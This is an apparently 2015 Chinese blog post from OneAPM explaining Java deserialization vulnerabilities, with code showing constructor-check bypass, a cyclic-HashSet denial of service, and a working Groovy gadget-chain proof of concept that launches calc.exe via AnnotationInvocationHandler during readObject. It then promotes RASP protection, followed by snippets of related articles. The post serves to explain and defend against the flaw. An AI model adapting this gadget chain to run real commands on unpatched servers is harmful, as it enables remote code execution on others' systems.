JAVA 反序列化攻击

标签: OneRASP | 发表时间:2015-12-29 09:46 | 作者:张文怡
分享到:
出处:http://news.oneapm.com/

Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。

由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计。

说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。

这可能会导致三方面问题:

1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。 例如:

  class Client {
private int value;
public Client(int v) {
        if (v <= 0) {
            throw new RuntimeException("not positive number");
        }
        value = v;
    }
    public void writeObject(ObjectOutputStream oos) throws IOException {
        int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值)
        oos.defaultWriteObject();
    }
}
class Controller {
    private ArrayBlockingQueue<Client> queue;
    public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
        Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发
        queue.add(s);
    }
    public Client getClient() throws InterruptedException {
        return (Client)queue.take();
    }
}
class Server extends Thread {
    private Controller controller = new Controller();
    private int result = 100;
    public void run() {
        while (true) {
            try {
                result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束
                Thread.sleep(100);
            } catch (InterruptedException e) {}
        }
    }
}

2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如:

  Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
  Set t1 = new HashSet();
  Set t2 = new HashSet();
  t1.add("foo"); //使t2不等于t1
  s1.add(t1);
  s1.add(t2);
  s2.add(t1);
  s2.add(t2);
  s1 = t1;
  s2 = t2; 
}

3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。

  class Controller {
    public void receiveState(ObjectInputStream ois) {
        FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
        fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。
        fos.close();
    }
}

那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子:

  public class GroovyTest {
public static void main(String[] args) throws Exception {
    final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
    Class<?>[] clsArr = {Map.class};
    final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
    final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(handler);
    byte[] bytes = bos.toByteArray(); //对象被序列化
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    ois.readObject(); //反序列化时calc.exe被执行
}
}

在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,会尝试调用 entrySet() 方法,这会触发 calc.exe 的调用。

  private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if(var7 != null) {
            Object var8 = var5.getValue();
            if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所以扫描不能保证所有的问题类被发现。

然而幸运的是,这个问题引起了一些安全公司的重视,在他们推出的 RASP(Runtime Application Security Protection)产品中会在应用运行期对该漏洞进行防护。

相关 [java 序列化] 推荐:

java序列化java.io.Externalizable

- - Java - 编程语言 - ITeye博客
这次我们讲的是控制对象的序列化和反序列化. 控制序列化就是有选择的序列化对象,而不是把对象的所以内容都序列化,前篇我们的例子中介绍了transit变量和类变量(static)不被序列化,现在我们还有一种更为灵活的控制对象序列化和反序列方法,可以在序列化过程中储存其他非this对象包含的数据. 我们现在再来介绍一个接口 java.io.Externalizable.

JAVA 反序列化攻击

- - OneAPM 博客
Java 反序列化攻击漏洞由. FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令. 由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计.

java序列化与反序列化以及浅谈一下hadoop的序列化

- - CSDN博客云计算推荐文章
1、什么是序列化和反序列化. 神马是序列化呢,序列化就是把 内存中的对象的状态信息,转换成 字节序列以便于存储(持久化)和网络传输. (网络传输和硬盘持久化,你没有一定的手段来进行辨别这些字节序列是什么东西,有什么信息,这些字节序列就是垃圾). 反序列化就是将收到 字节序列或者是硬盘的持久化数据,转换成 内存中的对象.

理解Java对象序列化

- - 博客 - 伯乐在线
来源: jiangshapub 的博客( @jiangshapub). 关于Java序列化的文章早已是汗牛充栋了,本文是对我个人过往学习,理解及应用Java序列化的一个总结. 此文内容涉及Java序列化的基本原理,以及多种方法对序列化形式进行定制. 在撰写本文时,既参考了 Thinking in Java, Effective Java,JavaWorld,developerWorks中的相关文章和其它网络资料,也加入了自己的实践经验与理解,文、码并茂,希望对大家有所帮助.

对Java序列化早作防备(译)

- - BlogJava_首页
本文是 IBM developerWorks中的 一篇文章,介绍了不使用加密与签章技术,如何防止对不可信数据输入的解序列化. (2013.01.17最后更新).     Java序列化允许开发者将Java对象保存为二进制格式,以便将该对象持久化到一个文件中或将其在网络中进行传递. 远程方法调用(RMI)使用序列化作为客户端与服务器端之间的通信媒介.

java 序列化 serializable接口 serialVersionUID

- - 互联网 - ITeye博客
如果一个类实现了serializable接口,那么就会要求一个serialVersionUID. 序列化运行时使用一个称为 serialVersionUID 的版本号与每个可序列化类相关联,该序列号在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类. 如果接收者加载的该对象的类的 serialVersionUID 与对应的发送者的类的版本号不同,则反序列化将会导致 InvalidClassException.

讲解Java中的序列化

- - IT江湖
serialVersionUID的作用. serialVersionUID适用于JAVA的序列化机制. 简单来说,Java的序列化机制是通过判断类的serialVersionUID来验证版本一致性的. 在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地相应实体类的serialVersionUID进行比较,如果相同就认为是一致的,可以进行反序列化,否则就会出现序列化版本不一致的异常,即是InvalidCastException.

Java序列化理解与总结

- - CSDN博客编程语言推荐文章
Java平台允许我们在内存中创建可复用的Java对象,但一般情况下,只有当JVM处于运行时,这些对象才可能存在,即,这些对象的生命周期不会比JVM的生命周期更长. 但在现实应用中,就可能要求在JVM停止运行之后能够保存指定的对象,并在将来重新读取被保存的对象. Java对象序列化就能够帮助我们实现该功能.

java反序列化工具ysoserial分析

- - WooYun知识库
关于java反序列化漏洞的原理分析,基本都是在分析使用 Apache Commons Collections这个库,造成的反序列化问题. 然而,在下载老外的 ysoserial工具并仔细看看后,我发现了许多值得学习的知识. 不同反序列化 payload玩法. 灵活运用了反射机制和动态代理机制构造POC.

Java下利用Jackson进行JSON解析和序列化

- - 企业架构 - ITeye博客
Java下常见的Json类库有Gson、JSON-lib和Jackson等,Jackson相对来说比较高效,在项目中主要使用Jackson进行JSON和Java对象转换,下面给出一些Jackson的JSON操作方法. 首先去官网下载Jackson工具包,下载地址http://wiki.fasterxml.com/JacksonDownload.